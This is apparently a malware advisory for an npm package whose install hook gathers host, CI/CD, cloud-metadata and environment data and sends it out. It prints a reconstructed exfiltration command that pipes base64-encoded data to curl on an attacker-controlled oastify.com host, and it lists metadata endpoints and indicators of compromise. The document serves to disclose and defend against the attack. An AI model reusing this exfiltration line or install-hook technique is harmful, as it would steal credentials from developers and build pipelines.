GCVE-110-OSM-2026-9246

This package is a classic supply-chain reconnaissance implant. The postinstall.js executes on npm install and collects hostname, username, working directory, OS info, container status (/.dockerenv), CI/CD environment variables (GITHUB_REPOSITORY, GITHUB_ACTOR, GITHUB_RUN_ID, RUNNER_NAME), network configuration, cloud metadata endpoint probes (AWS IMDSv1 at 169.254.169.254 and Tencent Cloud metadata), and the full environment — then base64-encodes the payload and exfiltrates it via curl to the attacker-controlled OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The attacker model is CI/CD pipeline and developer workstation reconnaissance: the explicit targeting of GitHub Actions variables and cloud metadata endpoints indicates the goal is credential harvesting from automated build environments. The publisher account is less than two hours old with 12 packages published in a burst, a pattern consistent with a coordinated campaign rather than a legitimate developer. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data" (primary, reconstructed) - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 5826f6884581fbfa40d0793ff4c4b6f3b4e5e0a704bfd87bf7c4e3ec274b2ec9